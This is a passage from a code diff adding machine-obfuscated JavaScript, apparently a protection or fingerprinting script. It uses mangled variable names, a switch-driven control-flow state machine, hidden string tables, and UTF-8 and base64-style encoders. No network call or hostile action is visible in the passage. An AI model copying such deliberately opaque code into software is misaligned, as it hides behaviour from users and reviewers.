= _$l; + _$l = _$_C; + _$d += _$l; + _$l = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$Q = _$l; + _$l = _$zC; + _$d += _$l; + _$l = _$a + _$c + _$r + _$n + _$s + _$e + _$v; + _$W = _$l; + _$l = _$C; + _$y = _$l; + _$l = _$W; + _$g = _$PC; + _$p = _$l[_$g]; + _$Y = _$p; + _$l = _$d; + _$C = _$l; + _$l = 0; + _$Z = _$l; + _$l = _$d; + _$g = _$_C; + _$p = 5; + _$w = _$l[_$g](_$p); + _$I = _$y; + _$A = _$_C; + _$m = 7; + _$T = _$I[_$A](_$m); + _$j = _$w > _$T; + if (_$j) { + _$l = _$d; + _$g = _$NC; + _$p = _$l + _$g; + _$d = _$p + } + _$l = []; + _$z = _$l; + _$l = _$GC; + _$y += _$l; + _$l = _$K; + _$g = _$PC; + _$p = _$l[_$g]; + _$w = 4; + _$I = _$p / _$w; + _$U = _$I; + for (_$E = 0; _$E < _$U; _$E++) { + _$l = _$W; + _$g = _$K; + _$p = _$_C; + _$w = _$Z; + _$I = _$g[_$p](_$w); + _$A = _$Q(_$l, _$I); + _$N = _$A; + _$Z++; + _$l = _$W; + _$g = _$K; + _$p = _$_C; + _$w = _$Z; + _$I = _$g[_$p](_$w); + _$A = _$Q(_$l, _$I); + _$G = _$A; + _$Z++; + _$l = _$W; + _$g = _$K; + _$p = _$_C; + _$w = _$Z; + _$I = _$g[_$p](_$w); + _$A = _$Q(_$l, _$I); + _$P = _$A; + _$Z++; + _$l = _$W; + _$g = _$K; + _$p = _$_C; + _$w = _$Z; + _$I = _$g[_$p](_$w); + _$A = _$Q(_$l, _$I); + _$O = _$A; + _$Z++; + _$l = _$z; + _$g = _$E; + _$p = _$N; + _$w = _$Y; + _$I = _$p * _$w; + _$A = _$Y; + _$m = _$I * _$A; + _$T = _$Y; + _$j = _$m * _$T; + _$R = _$G; + _$_ = _$Y; + _$L = _$R * _$_; + _$V = _$Y; + _$q = _$L * _$V; + _$H = _$j + _$q; + _$x = _$P; + _$B = _$Y; + _$X = _$x * _$B; + _$F = _$H + _$X; + _$J = _$O; + _$$ = _$F + _$J; + _$l[_$g] = _$$ + } + _$l = _$BC; + _$U = _$l; + for (_$aa = 0; _$aa < _$z.length; _$aa++) { + _$l = _$z; + _$g = _$aa; + _$p = _$l[_$g]; + _$w = _$bW(_$p); + _$U += _$w + } + _$l = this; + _$g = _$U; + _$p = function(_$a) { + var _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I; + _$e = false; + _$r = _$e; + _$c = _$Os; + _$v = _$c; + _$s = 1; + _$n = _$s; + _$e = _$n; + _$c = 1; + _$s = _$e + _$c; + _$n = _$s; + _$e = 1; + _$v = _$e; + _$e = _$BC; + _$f = _$e; + _$e = _$n; + _$v = _$e; + _$e = 3104; + _$c = 3648; + _$s = 3648; + _$t = [_$e, _$c, _$s]; + _$n = _$t; + for (_$i = 0; _$i < _$n.length; _$i++) { + _$e = _$f; + _$c = _$n; + _$s = _$i; + _$t = _$c[_$s]; + _$o = 5; + _$k = _$t >> _$o; + _$b = _$bW(_$k); + _$l = _$e + _$b; + _$f = _$l + } + _$e = _$n; + _$c = _$LC; + _$s = _$v; + _$t = _$e[_$c](_$s); + _$n = _$t; + for (_$h = 0, + _$g = this[_$f].length; _$h < _$g; _$h++) { + _$e = _$Us; + _$u = _$e; + _$c = _$u; + _$s = _$OC; + _$t = 0; + _$o = _$c[_$s](_$t); + _$k = _$u; + _$b = _$PC; + _$l = _$k[_$b]; + _$p = _$o - _$l; + _$y = _$bW(_$p); + _$w = _$y; + for (_$d = 1; _$d < _$u.length; _$d++) { + _$e = _$u; + _$c = _$OC; + _$s = _$d; + _$t = _$e[_$c](_$s); + _$o = _$w; + _$k = _$OC; + _$b = _$d; + _$l = 1; + _$p = _$b - _$l; + _$y = _$o[_$k](_$p); + _$M = _$t - _$y; + _$I = _$bW(_$M); + _$w += _$I + } + _$e = this; + _$c = _$w; + _$s = _$e[_$c]; + _$t = _$h; + _$o = _$s[_$t]; + _$k = _$a; + _$b = _$o === _$k; + if (_$b) { + _$e = true; + _$r = _$e + } + } + _$e = _$r; + return _$e + } + ; + _$l[_$g] = _$p; + _$l = _$Ys; + _$ea = _$l; + _$g = 1; + _$ra = _$g; + _$l = _$ra; + _$g = 1; + _$p = _$l + _$g; + _$ra = _$p; + _$l = 1; + _$ea = _$l; + _$l = _$BC; + _$ca = _$l; + _$l = _$ra; + _$ea = _$l; + _$l = 12416; + _$g = 12800; + _$p = 12800; + _$w = [_$l, _$g, _$p]; + _$ra = _$w; + for (_$va = 0; _$va < _$ra.length; _$va++) { + _$l = _$ca; + _$g = _$ra; + _$p = _$va; + _$w = _$g[_$p]; + _$I = 7; + _$A = _$w >> _$I; + _$m = _$bW(_$A); + _$T = _$l + _$m; + _$ca = _$T + } + _$l = _$ra; + _$g = _$LC; + _$p = _$ea; + _$w = _$l[_$g](_$p); + _$ra = _$w; + _$l = this; + _$g = _$ca; + _$p = function(_$a) { + var _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u; + _$e = _$Ws; + _$r = _$e; + _$c = 1; + _$v = _$c; + _$e = _$v; + _$c = 1; + _$s = _$e + _$c; + _$v = _$s; + _$e = 1; + _$r = _$e; + _$e = _$BC; + _$n = _$e; + _$e = _$v; + _$r = _$e; + _$e = 6815744; + _$c = 6356992; + _$s = 7536640; + _$f = [_$e, _$c, _$s]; + _$v = _$f; + for (_$t = 0; _$t < _$v.length; _$t++) { + _$e = _$n; + _$c = _$v; + _$s = _$t; + _$f = _$c[_$s]; + _$i = 16; + _$o = _$f >> _$i; + _$k = _$bW(_$o); + _$b = _$e + _$k; + _$n = _$b + } + _$e = _$v; + _$c = _$LC; + _$s = _$r; + _$f = _$e[_$c](_$s); + _$v = _$f; + _$e = this; + _$c = _$n; + _$s = _$a; + _$f = _$e[_$c](_$s); + _$i = !_$f; + if (_$i) { + _$e = _$Qs; + _$l = _$e; + _$c = 1; + _$h = _$c; + _$e = _$h; + _$c = 1; + _$s = _$e + _$c; + _$h = _$s; + _$e = 1; + _$l = _$e; + _$e = _$BC; + _$g = _$e; + _$e = _$h; + _$l = _$e; + _$e = 198656; + _$c = 233472; + _$s = 233472; + _$f = [_$e, _$c, _$s]; + _$h = _$f; + for (_$u = 0; _$u < _$h.length; _$u++) { + _$e = _$g; + _$c = _$h; + _$s = _$u; + _$f = _$c[_$s]; + _$i = 11; + _$o = _$f >> _$i; + _$k = _$bW(_$o); + _$b = _$e + _$k; + _$g = _$b + } + _$e = _$h; + _$c = _$LC; + _$s = _$l; + _$f = _$e[_$c](_$s); + _$h = _$f; + _$e = this; + _$c = _$g; + _$s = _$e[_$c]; + _$f = _$LC; + _$i = _$a; + _$s[_$f](_$i); + _$e = true; + return _$e + } + _$e = false; + return _$e + } + ; + _$l[_$g] = _$p + } + _$ue = 95; + _$pe = _$ue; + while (!![]) { + switch (_$pe) { + case 1: + _$Je = _$Je + 1; + _$pe += 66; + break; + case 2: + _$ye = typeof _$ZW[_$Tt] === _$yc; + _$pe += 72; + break; + case 3: + _$lc(_$Ae, 0); + _$pe += 35; + break; + case 4: + _$hc = 1; + _$pe += 42; + break; + case 5: + _$we = _$Mt.j(_$BC); + _$de = {}; + _$Me = _$he + _$te + _$re + _$se + _$ee + _$le + _$Fa + _$ce + _$fe + _$Ja + _$ie + _$be + _$ge + _$oe + _$ke + _$ne + _$ae + _$$a + _$ve; + _$Ie = _$bW(_$Me.d(0) - _$Me.length); + _$pe += 7; + break; + case 6: + _$Ae = _$oc; + _$Se = 6; + _$me = []; + _$Te = []; + _$pe += 43; + break; + case 7: + _$je = typeof _$jY[_$nr] === _$tc; + _$Ce = _$bc; + _$De = []; + _$pe += 41; + break; + case 8: + for (_$Ke = 0; _$Ke < _$ar.length; _$Ke++) { + _$ue = _$Mt; + _$Qe = _$LC; + _$We = _$ar; + _$Ye = _$_C; + _$Ue = _$er; + _$Oe = _$Ke; + _$Pe = _$Ue[_$Oe]; + _$Ge = _$We[_$Ye](_$Pe); + _$ue[_$Qe](_$Ge) + } + _$pe += 68; + break; + case 9: + _$ar = 1; + _$pe += 23; + break; + case 10: + for (_$Ne = 0; _$Ne < _$Je.length; _$Ne++) { + _$ue = _$yc; + _$Qe = _$Je; + _$We = _$Ne; + _$Ye = _$Qe[_$We]; + _$Ue = 10; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$yc = _$Ge + } + _$pe += 81; + break; + case 11: + for (_$Ze = 0; _$Ze < _$gc.length; _$Ze++) { + _$ue = _$tc; + _$Qe = _$gc; + _$We = _$Ze; + _$Ye = _$Qe[_$We]; + _$Ue = 16; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$tc = _$Ge + } + _$pe += 93; + break; + case 12: + for (_$ze = 1; _$ze < _$Me.length; _$ze++) { + _$ue = _$Me; + _$Qe = _$OC; + _$We = _$ze; + _$Ye = _$ue[_$Qe](_$We); + _$Ue = _$Ie; + _$Oe = _$OC; + _$Pe = _$ze; + _$Ge = 1; + _$Ee = _$Pe - _$Ge; + _$Re = _$Ue[_$Oe](_$Ee); + _$_e = _$Ye - _$Re; + _$Le = _$bW(_$_e); + _$Ie += _$Le + } + _$pe += 19; + break; + case 13: + _$Kf = _$Kf + 1; + _$pe += 28; + break; + case 14: + _$Ve = _$$r; + _$qe = {}; + _$He = _$he + _$Va + _$Ba + _$Ga + _$Ea + _$Xa + _$_a + _$Ha + _$Pa + _$Ra + _$La + _$Na + _$Ya + _$za + _$Za + _$qa + _$Oa + _$Ua + _$xa; + _$xe = _$bW(_$He.d(0) - _$He.length); + _$pe += 16; + break; + case 15: + _$gc = _$gc + 1; + _$pe -= 11; + break; + case 16: + for (_$Be = 0, + _$Xe = _$aY.length; _$Be < _$Xe; _$Be++) { + _$ue = _$aY; + _$Qe = _$Be; + _$We = _$ue[_$Qe]; + _$Ye = _$bW(_$We); + _$at += _$Ye + } + _$pe += 78; + break; + case 17: + _$mf = _$mf.p(_$Sf); + _$pe -= 15; + break; + case 18: + _$Fe = _$Ks; + _$Je = 1; + _$pe += 60; + break; + case 19: + _$Kf = [392, 400, 408]; + _$pe += 2; + break; + case 20: + _$vr = _$vr + 1; + _$pe += 64; + break; + case 21: + _$mt = _$St[4] + _$St[6]; + _$pe += 59; + break; + case 22: + for (_$$e = 0; _$$e < 10; _$$e++) { + _$ue = _$St; + _$Qe = _$LC; + _$We = _$$e; + _$Ye = 6; + _$Ue = _$We + _$Ye; + _$ue[_$Qe](_$Ue) + } + _$pe += 68; + break; + case 23: + _$ar = _$Aa + _$Ia + _$aa + _$na + _$fa + _$ya + _$ua + _$Qa + _$ga + _$va + _$Ca + _$ka + _$F + _$ba + _$ha + _$Ta + _$la + _$x + _$oa + _$ca + _$Da + _$B + _$Wa + _$da + _$X + _$sa + _$ia + _$ma + _$ta + _$Sa + _$Ka + _$$ + _$Ma + _$pa + _$wa + _$J + _$ea + _$ja + _$ra; + _$er = 1; + _$pe += 35; + break; + case 24: + _$rr = []; + _$pe -= 2; + break; + case 25: + _$cr = _$Ds; + _$vr = 1; + _$pe += 63; + break; + case 26: + for (_$sr = 1; _$sr < _$Jr.length; _$sr++) { + _$ue = _$Jr; + _$Qe = _$OC; + _$We = _$sr; + _$Ye = _$ue[_$Qe](_$We); + _$Ue = _$$r; + _$Oe = _$OC; + _$Pe = _$sr; + _$Ge = 1; + _$Ee = _$Pe - _$Ge; + _$Re = _$Ue[_$Oe](_$Ee); + _$_e = _$Ye - _$Re; + _$Le = _$bW(_$_e); + _$$r += _$Le + } + _$pe -= 12; + break; + case 27: + _$nr = _$BC; + _$pe += 58; + break; + case 28: + try { + _$ue = Short; + _$fr = _$ue + } catch (_$a) { + _$ue = 56; + _$Af = _$ue + } + _$pe -= 4; + break; + case 29: + try { + _$ue = String; + _$tr = _$ue + } catch (_$a) { + _$ue = _$xg; + _$At = _$ue + } + _$pe += 6; + break; + case 30: + for (_$ir = 1; _$ir < _$He.length; _$ir++) { + _$ue = _$He; + _$Qe = _$OC; + _$We = _$ir; + _$Ye = _$ue[_$Qe](_$We); + _$Ue = _$xe; + _$Oe = _$OC; + _$Pe = _$ir; + _$Ge = 1; + _$Ee = _$Pe - _$Ge; + _$Re = _$Ue[_$Oe](_$Ee); + _$_e = _$Ye - _$Re; + _$Le = _$bW(_$_e); + _$xe += _$Le + } + _$pe += 13; + break; + case 31: + _$mt = _$mt + _$St[8]; + _$pe += 34; + break; + case 32: + _$ar = _$ar * 5; + _$pe += 71; + break; + case 33: + _$Sf = 1; + _$pe += 77; + break; + case 34: + for (_$or = 1; _$or < _$Br.length - 1; _$or++) { + _$ue = 0; + _$kr = _$ue; + for (_$br = _$or - 1; _$br >= 0; _$br--) { + _$ue = _$Br; + _$Qe = _$br; + _$We = _$ue[_$Qe]; + _$Ye = _$kr; + _$Ue = _$We >= _$Ye; + if (_$Ue) { + _$Oe = (_$lr = _$Br, + _$hr = _$br, + _$lr[_$hr]) + } else { + _$Oe = _$kr + } + _$kr = _$Oe + } + _$ue = 0; + _$gr = _$ue; + for (_$br = _$or + 1; _$br < _$Br.length; _$br++) { + _$ue = _$Br; + _$Qe = _$br; + _$We = _$ue[_$Qe]; + _$Ye = _$gr; + _$Ue = _$We >= _$Ye; + if (_$Ue) { + _$Oe = (_$lr = _$Br, + _$hr = _$br, + _$lr[_$hr]) + } else { + _$Oe = _$gr + } + _$gr = _$Oe + } + _$ue = _$Cs; + _$Sr = _$ue; + _$ue = _$Sr; + _$Qe = _$PC; + _$We = _$ue[_$Qe]; + _$ur = _$We; + _$ue = []; + _$mr = _$ue; + for (_$Tr = 0; _$Tr < _$ur; _$Tr++) { + _$ue = _$Sr; + _$Qe = _$OC; + _$We = _$Tr; + _$Ye = _$ue[_$Qe](_$We); + _$pr = _$Ye; + _$ue = _$pr; + _$Qe = 65536; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$pr; + _$hr = 1114111; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 18; + _$Ue = _$We >> _$Ye; + _$Oe = 7; + _$Pe = _$Ue & _$Oe; + _$Ge = 240; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 12; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$pr; + _$Qe = 2048; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$pr; + _$hr = 65535; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 12; + _$Ue = _$We >> _$Ye; + _$Oe = 15; + _$Pe = _$Ue & _$Oe; + _$Ge = 224; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$pr; + _$Qe = 128; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$pr; + _$hr = 2047; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 31; + _$Pe = _$Ue & _$Oe; + _$Ge = 192; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$mr; + _$Qe = _$LC; + _$We = _$pr; + _$Ye = 255; + _$Ue = _$We & _$Ye; + _$ue[_$Qe](_$Ue) + } + } + } + } + _$ue = _$mr; + _$Qe = _$PC; + _$We = _$ue[_$Qe]; + _$yr = _$We; + _$ue = _$yr; + _$Qe = 2; + _$We = _$ue / _$Qe; + _$yr = _$We; + _$ue = []; + _$jr = _$ue; + _$ue = 0; + _$wr = _$ue; + for (_$Cr = 0; _$Cr < _$yr; _$Cr++) { + _$ue = _$mr; + _$Qe = _$wr; + _$We = _$ue[_$Qe]; + _$Ir = _$We; + _$ue = _$mr; + _$Qe = _$wr; + _$We = 1; + _$Ye = _$Qe + _$We; + _$Ue = _$ue[_$Ye]; + _$Ar = _$Ue; + _$ue = _$wr; + _$Qe = 2; + _$We = _$ue + _$Qe; + _$wr = _$We; + _$ue = _$Ir; + _$Qe = 46; + _$We = _$ue - _$Qe; + _$Ir = _$We; + _$ue = _$Ar; + _$Qe = 46; + _$We = _$ue - _$Qe; + _$Ar = _$We; + _$ue = _$Ar; + _$Qe = 19; + _$We = _$ue * _$Qe; + _$Ye = _$Ir; + _$Ue = _$We + _$Ye; + _$Mr = _$Ue; + _$ue = _$Mr; + _$Qe = 11; + _$We = _$ue ^ _$Qe; + _$dr = _$We; + _$ue = _$jr; + _$Qe = _$Cr; + _$We = _$dr; + _$ue[_$Qe] = _$We + } + _$ue = _$BC; + _$Dr = _$ue; + for (_$Ur = 0; _$Ur < _$jr.length; _$Ur++) { + _$ue = _$jr; + _$Qe = _$Ur; + _$We = _$ue[_$Qe]; + _$Ye = _$q + _$H; + _$Ue = 2; + _$Oe = _$We[_$Ye](_$Ue); + _$Kr = _$Oe; + _$ue = _$Kr; + _$Qe = _$LS; + _$We = /^1+?(?=0)/; + _$Ye = _$ue[_$Qe](_$We); + _$Qr = _$Ye; + _$ue = _$Qr; + _$Qe = _$ue; + if (_$Qe) { + _$lr = _$Kr; + _$hr = _$PC; + _$Or = _$lr[_$hr]; + _$Pr = 8; + _$Qe = _$Or === _$Pr + } + if (_$Qe) { + _$ue = _$Qr; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Ye = _$PC; + _$Ue = _$We[_$Ye]; + _$Wr = _$Ue; + _$ue = _$jr; + _$Qe = _$Ur; + _$We = _$ue[_$Qe]; + _$Ye = _$V + _$L; + _$Ue = 2; + _$Oe = _$We[_$Ye](_$Ue); + _$Pe = _$_S; + _$Ge = 7; + _$Ee = _$Wr; + _$Re = _$Ge - _$Ee; + _$_e = _$Oe[_$Pe](_$Re); + _$Yr = _$_e; + for (_$Gr = 0; _$Gr < _$Wr; _$Gr++) { + _$ue = _$jr; + _$Qe = _$Gr; + _$We = _$Ur; + _$Ye = _$Qe + _$We; + _$Ue = _$ue[_$Ye]; + _$Oe = _$V + _$L; + _$Pe = 2; + _$Ge = _$Ue[_$Oe](_$Pe); + _$Ee = _$_S; + _$Re = 2; + _$_e = _$Ge[_$Ee](_$Re); + _$Yr += _$_e + } + _$ue = _$Yr; + _$Qe = 2; + _$We = parseInt(_$ue, _$Qe); + _$Ye = _$bW(_$We); + _$Dr += _$Ye; + _$ue = _$Wr; + _$Qe = 1; + _$We = _$ue - _$Qe; + _$Ur += _$We + } else { + _$ue = _$jr; + _$Qe = _$Ur; + _$We = _$ue[_$Qe]; + _$Ye = _$bW(_$We); + _$Dr += _$Ye + } + } + _$ue = Math; + _$Qe = _$Dr; + _$We = _$kr; + _$Ye = _$gr; + _$Ue = _$ue[_$Qe](_$We, _$Ye); + _$Nr = _$Ue; + _$ue = _$Nr; + _$Qe = _$Br; + _$We = _$or; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue > _$Ye; + if (_$Ue) { + _$ue = _$Xr; + _$Qe = _$Nr; + _$We = _$ue + _$Qe; + _$Ye = _$Br; + _$Ue = _$or; + _$Oe = _$Ye[_$Ue]; + _$Pe = _$We - _$Oe; + _$Xr = _$Pe + } + } + _$pe += 66; + break; + case 35: + while (_$It < _$Uf.length) { + _$ue = _$Uf; + _$Qe = _$OC; + _$We = _$It++; + _$Ye = _$ue[_$Qe](_$We); + _$Pf = _$Ye; + _$ue = _$Uf; + _$Qe = _$OC; + _$We = _$It++; + _$Ye = _$ue[_$Qe](_$We); + _$Gf = _$Ye; + _$ue = _$Uf; + _$Qe = _$OC; + _$We = _$It++; + _$Ye = _$ue[_$Qe](_$We); + _$Nf = _$Ye; + _$ue = _$Pf; + _$Qe = 2; + _$We = _$ue >> _$Qe; + _$Zf = _$We; + _$ue = _$Pf; + _$Qe = 3; + _$We = _$ue & _$Qe; + _$Ye = 4; + _$Ue = _$We << _$Ye; + _$Oe = _$Gf; + _$Pe = 4; + _$Ge = _$Oe >> _$Pe; + _$Ee = _$Ue | _$Ge; + _$zf = _$Ee; + _$ue = _$Gf; + _$Qe = 15; + _$We = _$ue & _$Qe; + _$Ye = 2; + _$Ue = _$We << _$Ye; + _$Oe = _$Nf; + _$Pe = 6; + _$Ge = _$Oe >> _$Pe; + _$Ee = _$Ue | _$Ge; + _$Ef = _$Ee; + _$ue = _$Nf; + _$Qe = 63; + _$We = _$ue & _$Qe; + _$Rf = _$We; + _$ue = _$Gf; + _$Qe = isNaN(_$ue); + if (_$Qe) { + _$ue = 64; + _$Qe = _$Rf = _$ue; + _$Ef = _$Qe + } else { + _$ue = _$Nf; + _$Qe = isNaN(_$ue); + if (_$Qe) { + _$ue = 64; + _$Rf = _$ue + } + } + _$ue = _$Of; + _$Qe = _$BY; + _$We = _$_C; + _$Ye = _$Zf; + _$Ue = _$Qe[_$We](_$Ye); + _$Oe = _$ue + _$Ue; + _$Pe = _$BY; + _$Ge = _$_C; + _$Ee = _$zf; + _$Re = _$Pe[_$Ge](_$Ee); + _$_e = _$Oe + _$Re; + _$Le = _$BY; + _$Zr = _$_C; + _$zr = _$Ef; + _$Er = _$Le[_$Zr](_$zr); + _$Rr = _$_e + _$Er; + _$_r = _$BY; + _$Lr = _$_C; + _$Vr = _$Rf; + _$qr = _$_r[_$Lr](_$Vr); + _$Hr = _$Rr + _$qr; + _$Of = _$Hr + } + _$pe += 7; + break; + case 36: + for (_$xr = 0; _$xr < _$vr.length; _$xr++) { + _$ue = _$nr; + _$Qe = _$vr; + _$We = _$xr; + _$Ye = _$Qe[_$We]; + _$Ue = 6; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$nr = _$Ge + } + _$pe += 23; + break; + case 37: + _$Sf = _$mf; + _$pe += 31; + break; + case 38: + _$Br = [0, 1, 0, 2, 1, 0, 1, 3, 2, 1, 2, 1]; + _$Xr = 0; + _$Fr = _$St[0]; + _$pe -= 4; + break; + case 39: + _$vr = [7360, 6464, 7424, 4160, 7424, 7424, 7296, 6720, 6272, 7488, 7424, 6464]; + _$pe -= 3; + break; + case 40: + _$ar = _$er; + _$pe += 22; + break; + case 41: + _$Df = 1; + _$pe += 11; + break; + case 42: + _$Jr = _$y + _$Q + _$p + _$M + _$o + _$P + _$b + _$U + _$j + _$S + _$m + _$O + _$k + _$z + _$_ + _$f + _$i + _$R + _$Z + _$d + _$n + _$I + _$Y + _$D + _$G + _$t + _$T + _$E + _$w + _$g + _$W + _$C + _$N + _$l + _$A + _$u + _$h + _$K; + _$$r = _$bW(_$Jr.d(0) - _$Jr.length); + _$pe += 65; + break; + case 43: + _$mt = _$mt - _$St[2]; + _$pe += 43; + break; + case 44: + for (_$ac = 0; _$ac < _$Ve.length; ) { + _$ue = _$If; + _$Qe = _$_C; + _$We = _$Ve; + _$Ye = _$_C; + _$Ue = _$ac; + _$Oe = _$We[_$Ye](_$Ue); + _$Pe = _$OC; + _$Ge = _$Oe[_$Pe](); + _$Ee = 32; + _$Re = _$Ge - _$Ee; + _$_e = _$ue[_$Qe](_$Re); + _$ec = _$_e; + _$Le = _$If; + _$Zr = _$_C; + _$zr = _$Ve; + _$Er = _$_C; + _$Rr = _$ac; + _$_r = 1; + _$Lr = _$Rr + _$_r; + _$Vr = _$zr[_$Er](_$Lr); + _$qr = _$OC; + _$Hr = _$Vr[_$qr](); + _$rc = 32; + _$cc = _$Hr - _$rc; + _$vc = _$Le[_$Zr](_$cc); + _$sc = _$vc; + _$ue = _$qe; + _$Qe = _$ec; + _$We = _$sc; + _$ue[_$Qe] = _$We; + 